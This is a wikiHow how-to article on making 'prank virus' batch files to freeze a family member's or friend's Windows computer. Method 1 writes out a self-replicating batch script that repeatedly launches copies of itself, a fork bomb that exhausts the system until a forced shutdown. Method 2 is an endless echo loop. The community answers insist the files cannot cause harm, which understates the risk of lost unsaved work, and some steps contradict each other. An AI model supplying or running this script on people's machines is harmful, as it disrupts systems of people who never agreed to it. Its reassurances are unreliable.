Sometimes, you might be thinking of making your own prank for others, but your family/friends are technological. This article will teach how to make a self-replicating, harmless virus, that freezes your computer as a prank.

Method 1
Method 1 of 2:

Echo Window Prank

  1. 1
    Open Notepad. You can also open any other word processor.
  2. 2
    Type on the first line. It should be "@echo off".
    Advertisement
  3. 3
    Type the following code on the next line:
    • cd %homedrive%/users/%username%/
    • (
    • echo start s.bat
    • )>>s.bat
    • start s.bat
  4. 4
    Save the file. Remember to add the ".bat" extension to the end of the file name.
  5. 5
    Open the file. It will open many pointless windows, but it will freeze the computer.
  6. 6
    Shut down your computer. It will return to normal.
  7. Advertisement
Method 2
Method 2 of 2:

Endless Loop Prank

  1. 1
    Open Notepad, or another word processor.
  2. 2
    Type :BEGIN.
  3. 3
    Type ECHO.
  4. 4
    Put the command, "goto begin".
  5. 5
    Save as loop.bat.
  6. 6
    Open the file. It will most likely crash your computer as it continues to spam the help window.
  7. 7
    Stop the virus. You must tap X to do so.
  8. Advertisement

Community Q&A

  • Question
    Can this harm my computer?
    Community Answer
    Community Answer
    No, this will not harm your computer in any way. This will only freeze or lag your computer, but after rebooting, it will be completely fine.
  • Question
    Will this cause my computer to crash?
    Hello903hello
    Hello903hello
    Community Answer
    No. Unless your computer has too little RAM (Random Access Memory), or you opened up too many apps (especially Google Chrome). In that case your RAM would be used up and cause your computer to lag.
  • Question
    How do I fix a PC loop program?
    Community Answer
    Community Answer
    Right click on the taskbar and go to Task Manager. Select the program and click on "end task". This will fix the problem. If it doesn't, restart your system.
Advertisement

Warnings

Advertisement

About This Article

wikiHow is a “wiki,” similar to Wikipedia, which means that many of our articles are co-written by multiple authors. To create this article, 38 people, some anonymous, worked to edit and improve it over time. This article has been viewed 134,986 times.
65 votes - 75%
Co-authors: 38
Updated: September 15, 2021
Views: 134,986
Categories: Computer Pranks
Advertisement